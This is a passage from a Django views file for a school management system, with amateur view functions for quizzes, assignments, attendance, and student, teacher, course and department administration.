1\r\n myAns = request.POST.get('opt',None)\r\n\r\n num = 0\r\n for qs in q1.QuestionAns.all():\r\n print(qs.question)\r\n num += 1\r\n\r\n print(\"You checked \" + str(myAns))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'t':t,\"q\":q1,\"nextBtn\":nextBtn,'lent':num}\r\n return render(request,'students/StartQuiz.html',context)\r\n\r\ndef NextQuestion(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Student.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n nextBtn = int(pk1)\r\n print(pk1)\r\n myAns = request.POST.get('opt',None)\r\n\r\n num = 0\r\n for qs in q1.QuestionAns.all():\r\n print(qs.question)\r\n num += 1\r\n\r\n print(\"You checked \" + str(myAns) )\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'t':t,\"q\":q1,\"nextBtn\":nextBtn,'lent':num}\r\n return render(request,'students/StartQuiz.html',context)\r\n\r\ndef AnsTheQuestion(request,pk,pk1,pk2):\r\n\r\n user1 = request.user\r\n t = Student.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n qa1 = QuestionAnswer.objects.filter(id=pk2).first()\r\n myAns = request.POST.get('opt',None)\r\n print(\"You checked \" + str(myAns))\r\n\r\n num = 0\r\n for qs in q1.QuestionAns.all():\r\n print(qs.question)\r\n num += 1\r\n\r\n if QuizDetails.objects.filter(Quiz=q1,student=t):\r\n qs1 = QuizDetails.objects.filter(Quiz=q1,student=t).first()\r\n print(\"Already Created..!!\")\r\n else:\r\n qs1 = QuizDetails.objects.create(Quiz=q1,student=t)\r\n q1.QuizDetail.add(qs1)\r\n print(\"Object Created..!!\")\r\n\r\n if Answer.objects.filter(quizDetail=qs1,Question=qa1):\r\n ans1 = Answer.objects.filter(quizDetail=qs1,Question=qa1).first()\r\n ans1.Answers=myAns\r\n qs1.Ans.add(ans1)\r\n print(\"Modefied..with \" + str(ans1.Answers))\r\n else:\r\n ans1 = Answer.objects.create(quizDetail=qs1,Answers=myAns,Question=qa1)\r\n print(\"Answer Created..!!\")\r\n\r\n nextBtn = int(pk1) + 1\r\n print(nextBtn)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n if nextBtn <= num:\r\n context = {'base_template':base_template,'t':t,\"q\":q1,\"nextBtn\":nextBtn,'lent':num}\r\n return render(request,'students/StartQuiz.html',context)\r\n elif nextBtn > num:\r\n qs1.status = \"Submitted\"\r\n qs1.save()\r\n return redirect('ViewStdQuiz',q1.Course.id,q1.Section)\r\n\r\ndef OpenReviewToQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n q1.Review = \"Open\"\r\n q1.save()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n return redirect('ViewTchQuiz',q1.id,q1.Section)\r\n\r\n\r\ndef ViewTchQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'t':t,'s':pk1,\"q\":q1}\r\n return render(request,'teachers/ViewTchQuiz.html',context)\r\n\r\ndef ShowStdQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n std = Student.objects.filter(id=pk1).first()\r\n qz = QuizDetails.objects.filter(Quiz=q1,student=std).first()\r\n ans = Answer.objects.filter(quizDetail=qz)\r\n score = 0\r\n for qs in q1.QuestionAns.all():\r\n\r\n for a in ans.all():\r\n\r\n if a.Question == qs:\r\n print(\"New Question\")\r\n\r\n for qs1 in qs.MCQAns.all():\r\n\r\n if qs1.Correct_Ans == \"Yes\" and a.Answers == qs1.Answers:\r\n print(\"You Ans was Correct \" + str(a.Answers))\r\n score += qs.Marks\r\n elif a.Answers == qs1.Answers:\r\n print(\"Your Wrong Ans were \" + str(a.Answers))\r\n elif qs1.Correct_Ans == \"Yes\":\r\n print(\"Correct Ans were \" + str(qs1.Answers))\r\n else:\r\n print(\"Normal Ans were \" + str(qs1.Answers))\r\n\r\n qz.Scored = score\r\n qz.save()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'t':t,\"q\":q1,'std':std,'qd':qz,'ans':ans,'score':score}\r\n return render(request,'teachers/ShowStdQuiz.html',context)\r\n\r\ndef UploadQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n q1.upload = \"Yes\"\r\n q1.save()\r\n\r\n print(\"This is upload -- > \" + str(q1.upload))\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n return redirect('ViewTchQuiz',q1.id,pk1)\r\n\r\ndef AddQuestToQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n\r\n myquest = request.POST.get('question',None)\r\n Mymarks = request.POST.get('marks',None)\r\n\r\n if myquest == None:\r\n print(\"Nothing Performed..!!!\")\r\n else:\r\n qs = QuestionAnswer.objects.create(Quiz=q1,question=myquest,Marks=Mymarks)\r\n q1.QuestionAns.add(qs)\r\n\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'t':t,'s':pk1,\"q\":q1}\r\n return render(request,'teachers/AddQuestToQuiz.html',context)\r\n\r\ndef AddMCQToQuiz(request,pk):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n q1 = QuestionAnswer.objects.filter(id=pk).first()\r\n\r\n myOpt = request.POST.get('Opt',None)\r\n myOpt1 = request.POST.get('Opt1',None)\r\n print(\"My Option is = \"+str(myOpt))\r\n print(\"My Option is = \"+str(myOpt1))\r\n\r\n if myOpt == None:\r\n print(\"Nothing Performed..!!!\")\r\n else:\r\n qs = MCQANSWERS.objects.create(QuesAns=q1,Answers=myOpt,Correct_Ans=myOpt1)\r\n q1.MCQAns.add(qs)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'t':t,\"q\":q1}\r\n return render(request,'teachers/AddMCQToQuiz.html',context)\r\n\r\ndef CreateQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.method == \"POST\":\r\n\r\n Description = request.POST.get('desc', False)\r\n mytitle = request.POST.get('title', False)\r\n myfiles = request.FILES.get('myfiles')\r\n myDate = request.POST.get('lastDate', \"1111-11-11\")\r\n myTime = request.POST.get('EndTime', \"11:00 PM\")\r\n mymarks = request.POST.get('marks', False)\r\n\r\n print(Description)\r\n print(myDate)\r\n\r\n if mytitle is False:\r\n pass\r\n else:\r\n quiz1 = Quiz.objects.create(teacher=t,Course=crs,Section=pk1,description=Description,title=mytitle,end_Date=myDate,end_Time=myTime,Total_Marks=mymarks,upload='No')\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'t':t,'s':pk1}\r\n return render(request,'teachers/CreateQuiz.html',context)\r\n\r\n\r\ndef CreateAssignments(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.method == \"POST\":\r\n\r\n ass = request.POST.get('Assignment', False)\r\n mytitle = request.POST.get('title', False)\r\n myfiles = request.FILES.get('myfiles')\r\n myDate = request.POST.get('lastDate', \"1111-11-11\")\r\n myTime = request.POST.get('EndTime', \"11:00 PM\")\r\n mymarks = request.POST.get('marks', False)\r\n\r\n print(ass)\r\n print(myDate)\r\n\r\n if ass is False:\r\n pass\r\n else:\r\n ass1 = Assignments.objects.create(teacher=t,Course=crs,Section=pk1,description=ass,title=mytitle,files=myfiles,end_Date=str(myDate),end_Time=str(myTime),Total_Marks=mymarks)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'t':t,'s':pk1}\r\n return render(request,'teachers/TeacherAssignments.html',context)\r\n\r\n\r\ndef StudentAttendencePre(request,pk,pk1):\r\n\r\n stds = Student.objects.filter(id=pk).first()\r\n\r\n p_url = request.META['HTTP_REFERER']\r\n print(str(p_url) + \" Url is this\")\r\n list2 = p_url[-15:-13]\r\n print(str(list2) + \" these are course id\")\r\n\r\n p_url1 = p_url.split('/')[1]\r\n print(p_url1)\r\n\r\n Secs = p_url[-12:-11]\r\n print(str(Secs) + \" these are Section\")\r\n\r\n cr = Course.objects.filter(id=list2).first()\r\n c_N = cr.Course_Name\r\n \r\n# m = request.POST.get('sections')\r\n print(\"STudent is present --> \" + str(stds))\r\n print(\"LIST2--->\" + str(list2))\r\n print('Sections are ' + str(pk1))\r\n print('Course is ' + str(c_N))\r\n# print('Pk1 = ' + str(pk1))\r\n\r\n add_array = []\r\n \r\n std = Student.objects.all()\r\n\r\n for s in std:\r\n if s.Section == Secs:\r\n for cs in s.Courses.all():\r\n if cs == cr:\r\n # print(str(s.name) + 'is enrolled in ' + str(cs.Course_Name))\r\n add_array.append(s)\r\n\r\n Att = Attendence.objects.filter(Course=cr).first()\r\n\r\n for stnd in Attendence.objects.filter(Course=cr):\r\n stnd.student.add(stds)\r\n print(\"Added\")\r\n \r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n return redirect('TeachersStudentList1',list2,Secs)\r\n\r\n\r\ndef StudentAttendenceAbs(request,pk,pk1):\r\n\r\n stds = Student.objects.filter(id=pk).first()\r\n\r\n p_url = request.META['HTTP_REFERER']\r\n print(str(p_url) + \" Url is this\")\r\n list2 = p_url[-15:-13]\r\n print(str(list2) + \" these are course id\")\r\n \r\n Secs = p_url[-13:-12]\r\n print(str(Secs) + \" these are Section\")\r\n\r\n cr = Course.objects.filter(id=list2).first()\r\n print(cr.Course_Name)\r\n c_N = cr.Course_Name\r\n \r\n print(\"STudent is present --> \" + str(stds))\r\n print(\"LIST2--->\" + str(list2))\r\n print('Sections are ' + str(pk1))\r\n print('Course is ' + str(c_N))\r\n\r\n\r\n add_array = []\r\n \r\n std = Student.objects.all()\r\n\r\n for s in std:\r\n if s.Section == Secs:\r\n for cs in s.Courses.all():\r\n if cs == cr:\r\n add_array.append(s)\r\n\r\n Att = Attendence.objects.filter(Course=cr).first()\r\n\r\n for stnd in Attendence.objects.filter(Course=cr):\r\n stnd.student.remove(stds)\r\n print(\"Removed\")\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n return redirect('TeachersStudentList1',list2,Secs)\r\n\r\n\r\ndef CreateAttendence(request,pk,pk1):\r\n\r\n add_array = []\r\n\r\n crs = Course.objects.filter(id=pk).first()\r\n Att = Attendence.objects.filter(Course=crs).first()\r\n\r\n print('Section is this ->' + str(pk1))\r\n\r\n std = Student.objects.all()\r\n\r\n for s in std:\r\n if s.Section == pk1:\r\n for cs in s.Courses.all():\r\n if cs == crs:\r\n add_array.append(s)\r\n\r\n for stds in add_array:\r\n print(stds.name)\r\n\r\n now = datetime.datetime.now()\r\n Today = now.strftime(\"%A\") \r\n now1 = str(now)\r\n now2 = now1.split(\" \")[1]\r\n # print(now2)\r\n\r\n # print(datetime.date.today())\r\n dt = datetime.date.today()\r\n Today1 = now.strftime(\"%I:%M%p\")\r\n # print(Today1)\r\n\r\n user1 = request.user\r\n mytch = Teacher.objects.filter(id=user1.id).first()\r\n TD = TimetableDetails.objects.all()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std_all':add_array,'base_template':base_template,'Att':Att,'mytch':mytch,\"TD\":TD,'Tnow':Today1,\"Today\":Today,'s':pk1,'dates':dt}\r\n return render(request,'teachers/CreateAttendence.html',context)\r\n\r\n\r\ndef TeachersStudentList1(request,pk,pk1,pk2):\r\n\r\n add_array = []\r\n\r\n user1 = request.user\r\n mytch = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n Att = Attendence.objects.filter(Course=crs).first()\r\n TD = TimetableDetails.objects.all()\r\n print(str(pk) + \" Actual course id\")\r\n\r\n urls = request.get_full_path()\r\n print(urls)\r\n list2 = urls[-15:-13]\r\n print(str(list2) + \" these are course id\")\r\n\r\n\r\n now = datetime.datetime.now()\r\n Today = now.strftime(\"%A\") \r\n now1 = str(now)\r\n now2 = now1.split(\" \")[1]\r\n print(now2)\r\n print('Class time is this ->' + str(pk2))\r\n \r\n p1 = pk2.split('-')[0]\r\n p2 = pk2.split('-')[1]\r\n print(p1)\r\n print(p2)\r\n\r\n if len(p1) == 3:\r\n tp = p1[:1] + ':' + p1[1:] + ':' + '00'\r\n elif len(p1) == 4:\r\n tp = p1[:2] + ':' + p1[1:] + ':' + '00'\r\n\r\n print(tp)\r\n\r\n# print(datetime.date.today())\r\n dt = datetime.date.today()\r\n\r\n if Attendence.objects.filter(Course=crs,Time=tp,teacher=mytch,Section=pk1,Day=Today,Date=dt).exists():\r\n print(\"Already exists\")\r\n else:\r\n Attnd = Attendence.objects.create(Course=crs,Time=tp,Day=Today,Section=pk1,Date=dt)\r\n print(\"Attendence Object Created..!!!!\")\r\n std = Student.objects.all()\r\n\r\n Attnd.teacher.add(mytch)\r\n\r\n for s in std:\r\n if s.Section == pk1:\r\n for cs in s.Courses.all():\r\n if cs == crs:\r\n Attnd.student.add(s)\r\n\r\n print('Section is this ->' + str(pk1))\r\n\r\n std = Student.objects.all()\r\n\r\n for s in std:\r\n if s.Section == pk1:\r\n for cs in s.Courses.all():\r\n if cs == crs:\r\n add_array.append(s)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std_all':add_array,'base_template':base_template,'Att':Att,'mytch':mytch,\"TD\":TD,\"Today\":Today}\r\n return render(request,'teachers/teachers_students_list1.html',context)\r\n\r\n\r\ndef TeachersStudentList(request,pk,pk1=\"\"):\r\n\r\n add_array = []\r\n\r\n crs = Course.objects.filter(id=pk).first()\r\n m = request.POST.get('sections')\r\n\r\n # p_url = request.META.get('HTTP_REFERER')\r\n # if \"StudentAttendencePre\" in p_url:\r\n # pk1 = \r\n # print(p_url)\r\n\r\n print('Pk2 is ->' + str(pk1))\r\n\r\n std = Student.objects.all()\r\n\r\n for s in std:\r\n if s.Section == m:\r\n for cs in s.Courses.all():\r\n if cs == crs:\r\n # print(str(s.name) + 'is enrolled in ' + str(cs.Course_Name))\r\n add_array.append(s)\r\n\r\n \r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std_all':add_array,'base_template':base_template}\r\n return render(request,'teachers/teachers_students_list.html',context)\r\n\r\n\r\ndef TeacherCourses(request,pk):\r\n\r\n t = Teacher.objects.filter(id=pk).first()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n std = Student.objects.all()\r\n\r\n sec_array = []\r\n\r\n for st in std:\r\n for sc in st.Courses.all():\r\n for tc in t.Courses.all():\r\n if sc == tc:\r\n sec_array.append(st.Section)\r\n\r\n print(list(set(sec_array)))\r\n my_sec = list(set(sec_array))\r\n\r\n context = {'base_template':base_template,'t':t,'sec':my_sec}\r\n\r\n return render(request,'teachers/teacher_courses.html',context)\r\n\r\n\r\n# ADMIN ACCOUNT\r\n\r\n\r\n# FUNCTIONS FOR STUDENT\r\n\r\n\r\ndef AddStudent(request):\r\n\r\n if request.method == \"POST\":\r\n\r\n username = request.POST['username']\r\n email = request.POST['email']\r\n password = request.POST['password']\r\n password1 = request.POST['password1']\r\n Name = request.POST['Name']\r\n Photo = request.FILES['photo']\r\n DOB = request.POST['Date_of_birth']\r\n guardianMobile = request.POST['guardian_Mobile']\r\n MobileNo = request.POST['mobileNo']\r\n RegNo = request.POST['RegNo']\r\n\r\n if password == password1:\r\n\r\n if Student.objects.filter(username=username).exists():\r\n return redirect('addstd')\r\n\r\n elif Student.objects.filter(email=email).exists():\r\n return redirect('addstd')\r\n\r\n user1 = Student.objects.create_user(username=username,email=email,\r\n password=password,name=Name,photo=Photo,date_of_birth=DOB,RegistrationNo=RegNo,\r\n mobile=MobileNo,guardian_mobile=guardianMobile,user_type = 1)\r\n\r\n user1.save()\r\n\r\n return redirect('Dashboard')\r\n\r\n else:\r\n return redirect('addstd')\r\n\r\n else:\r\n\r\n context = locals()\r\n\r\n return render(request,'students/addstudent.html',context)\r\n\r\ndef StudentList(request):\r\n\r\n std = Student.objects.all()\r\n \r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n for s in std:\r\n print(s)\r\n\r\n context = {'std_all':std,'base_template':base_template}\r\n return render(request,'students/students_list.html',context)\r\n\r\ndef ViewStudent(request,pk):\r\n\r\n std = Student.objects.filter(id=pk).first()\r\n t = Teacher.objects.all()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std':std,'t':t,'base_template':base_template}\r\n return render(request,'students/student_details.html',context)\r\n\r\n\r\ndef StudentResult(request):\r\n\r\n context = locals()\r\n return render(request,'students/result_in_detail.html',context)\r\n\r\ndef AddDepStd(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n dList = Department.objects.all()\r\n StdList = Student.objects.filter(id=list2).first()\r\n\r\n print(list2)\r\n\r\n f_array = []\r\n add_array = []\r\n\r\n for d in dList:\r\n if d == StdList.Department:\r\n f_array.append(d)\r\n\r\n\r\n for d in dList:\r\n add_array.append(d)\r\n\r\n odd_word = list((Counter(add_array) - Counter(f_array)).elements())\r\n\r\n dep = Department.objects.all()\r\n context = {'departments':dep,'p_url':list2,'add_dep':odd_word,'rem_dep':f_array}\r\n\r\n return render(request,'admin_tools/addDepStd.html',context)\r\n\r\n\r\ndef AssignDepStd(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n dep = Department.objects.filter(id=pk).first()\r\n\r\n StdList = Student.objects.filter(id=list2).first()\r\n\r\n StdList.Department = dep\r\n StdList.save()\r\n\r\n return redirect('AddDepStd',list2)\r\n\r\ndef ShowCourseStd(request,pk):\r\n\r\n courseList = Student.objects.filter(id=pk).first()\r\n print(courseList.id)\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n urls_id = request.get_full_path\r\n\r\n t = Teacher.objects.all()\r\n cLists = Course.objects.all()\r\n\r\n for t1 in t:\r\n for c1 in t1.Courses.all():\r\n for cl in cLists:\r\n if c1 == cl:\r\n print(str(t1) + ' teaches ' + str(c1.Course_Name))\r\n\r\n c = courseList.Courses\r\n courses1 = Course.objects.all()\r\n arry = []\r\n arry1 = []\r\n\r\n for items in courses1:\r\n arry1.append(items)\r\n\r\n for c2 in courses1:\r\n for c1 in c.all():\r\n if c1 != c2:\r\n arry.append(c1)\r\n else:\r\n pass\r\n\r\n mycourses = list(dict.fromkeys(arry))\r\n\r\n odd_word = list((Counter(arry1) - Counter(mycourses)).elements())\r\n\r\n context = {'t_course':courseList,'add_courses':odd_word,'p_url':list2,'t':t}\r\n\r\n return render(request,'course/course_assign_to_student_list.html',context)\r\n\r\n\r\ndef RemoveStdCourses(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n c = Course.objects.filter(id=pk).first()\r\n std = Student.objects.filter(id=list2).first()\r\n\r\n if Student.objects.filter(id=list2,Courses=c).exists():\r\n std.Courses.remove(c)\r\n else:\r\n pass\r\n\r\n return redirect('ShowCourseStd',list2)\r\n\r\ndef AssignCourseStd(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n c = Course.objects.filter(id=pk).first()\r\n std = Student.objects.filter(id=list2).first()\r\n\r\n if Student.objects.filter(id=list2,Courses=c).exists():\r\n print('FACULTY ALREADY EXISTS')\r\n else:\r\n std.Courses.add(c)\r\n\r\n return redirect('ShowCourseStd',list2)\r\n\r\n\r\n\r\n# FUNCTIONS FOR TEACHER \r\n\r\n\r\ndef AddTeacher(request):\r\n\r\n if request.method == \"POST\":\r\n\r\n username = request.POST['username']\r\n email = request.POST['email']\r\n password = request.POST['password']\r\n password1 = request.POST['password1']\r\n name = request.POST['Name']\r\n Photo = request.FILES['photo']\r\n DOB = request.POST['Date_of_birth']\r\n Designation = request.POST['Designation']\r\n MobileNo = request.POST['mobileNo']\r\n\r\n\r\n if password == password1:\r\n\r\n if Teacher.objects.filter(username=username).exists():\r\n return redirect('Add_Teacher')\r\n\r\n elif Teacher.objects.filter(email=email).exists():\r\n return redirect('Add_Teacher')\r\n\r\n user1 = Teacher.objects.create_user(username=username,email=email,\r\n password=password,Name=name,photo=Photo,Date_of_birth=DOB,Designation=Designation,\r\n mobileNo=MobileNo,user_type = 2)\r\n\r\n user1.save()\r\n\r\n return redirect('Dashboard')\r\n\r\n else:\r\n return redirect('Add_Teacher')\r\n\r\n else:\r\n\r\n context = locals()\r\n return render(request,'teachers/add_teacher.html',context)\r\n\r\ndef AllTeachers(request):\r\n\r\n allTeacher = Teacher.objects.all()\r\n\r\n context = {'teachers':allTeacher}\r\n\r\n return render(request,'teachers/teacher_list.html',context)\r\n\r\n\r\ndef DetailTeacher(request,pk):\r\n\r\n teachers = Teacher.objects.filter(id=pk).first()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'teacher':teachers, 'base_template':base_template}\r\n\r\n return render(request,'teachers/teacher_detail.html',context)\r\n\r\n\r\ndef CreateTeacherDesignation(request):\r\n\r\n context = locals()\r\n return render(request,'teachers/designation_create.html',context)\r\n\r\n\r\ndef CourseList(request):\r\n\r\n courseList = Course.objects.all()\r\n context = {'all_course':courseList}\r\n\r\n return render(request,'course/course_list.html',context)\r\n\r\n\r\ndef ShowCourses(request):\r\n\r\n courseList = Course.objects.all()\r\n context = {'all_course':courseList}\r\n\r\n return render(request,'course/show_course_list.html',context)\r\n\r\n\r\ndef Add_Course(request):\r\n\r\n courseForm = CourseForm(request.POST)\r\n\r\n if courseForm.is_valid():\r\n courseForm.save()\r\n cID = courseForm.cleaned_data['Course_Id']\r\n c1 = Course.objects.filter(Course_Id=cID).first()\r\n print(\"Course id is --> \" + str(cID))\r\n return redirect('courseList')\r\n\r\n context = {'form':courseForm}\r\n\r\n return render(request,'course/add_course.html',context)\r\n\r\ndef AddCourseDep(request,pk):\r\n\r\n cor = Course.objects.filter(id=pk).first()\r\n dep = Department.objects.all()\r\n\r\n add_c = []\r\n rem_c = []\r\n\r\n for d in dep:\r\n if cor.Department == d:\r\n print(d.Dept_Name)\r\n rem_c.append(d)\r\n\r\n for d in dep:\r\n add_c.append(d)\r\n\r\n odd_word = list((Counter(add_c) - Counter(rem_c)).elements())\r\n\r\n context = {'dep':dep,'rem_dep':rem_c,'add_dep':odd_word}\r\n\r\n return render(request,'admin_tools/addCourseDep.html',context)\r\n\r\n\r\ndef SelectCourseDep(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n dep = Department.objects.filter(id=pk).first()\r\n cor = Course.objects.filter(id=list2).first()\r\n\r\n cor.Department = dep\r\n cor.save()\r\n\r\n return redirect('AddCourseDep',list2)\r\n\r\n\r\ndef courseSection(request):\r\n\r\n context = locals()\r\n return render(request,'course/add_section.html',context)\r\n\r\ndef courseAttendence(request):\r\n\r\n context = locals()\r\n return render(request,'course/add_course_attendance.html',context)\r\n\r\ndef ShowCourseTeach(request,pk):\r\n\r\n courseList = Teacher.objects.filter(id=pk).first()\r\n print(courseList.id)\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n urls_id = request.get_full_path\r\n\r\n c = courseList.Courses\r\n courses1 = Course.objects.all()\r\n arry = []\r\n arry1 = []\r\n\r\n for items in courses1:\r\n arry1.append(items)\r\n\r\n for c2 in courses1:\r\n for c1 in c.all():\r\n if c1 != c2:\r\n arry.append(c1)\r\n else:\r\n pass\r\n\r\n mycourses = list(dict.fromkeys(arry))\r\n\r\n odd_word = list((Counter(arry1) - Counter(mycourses)).elements())\r\n\r\n context = {'t_course':courseList,'add_courses':odd_word,'p_url':list2}\r\n\r\n return render(request,'course/course_assign_to_teacher_list.html',context)\r\n\r\n\r\ndef RemoveAssignedCourseTeach(request,pk):\r\n\r\n courseList1 = Course.objects.filter(id=pk).first()\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n courseList = Teacher.objects.filter(id=list2).first()\r\n\r\n# atts = Attendence.objects.create(Course=courseList1,teacher=courseList)\r\n if Attendence.objects.filter(Course=courseList1,teacher=courseList):\r\n Attendence.objects.filter(Course=courseList1,teacher=courseList).delete()\r\n# atts.teacher.remove(courseList)\r\n else:\r\n pass\r\n\r\n for c in courseList.Courses.all():\r\n if c == courseList1:\r\n courseList.Courses.remove(courseList1)\r\n print('THIS IS COURSE IS DELETED')\r\n else:\r\n pass\r\n\r\n return redirect('showCourseTeach',list2)\r\n\r\n\r\ndef AssignDepTeach(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n depList1 = Department.objects.filter(id=pk).first()\r\n TList = Teacher.objects.filter(id=list2).first()\r\n\r\n TList.Department = depList1\r\n TList.save()\r\n\r\n return redirect('AddDepTeach',list2)\r\n\r\n\r\ndef AddDepTeach(request,pk):\r\n\r\n depList1 = Department.objects.filter(id=pk).first()\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n dList = Department.objects.all()\r\n TList = Teacher.objects.filter(id=list2).first()\r\n\r\n f_array = []\r\n add_array = 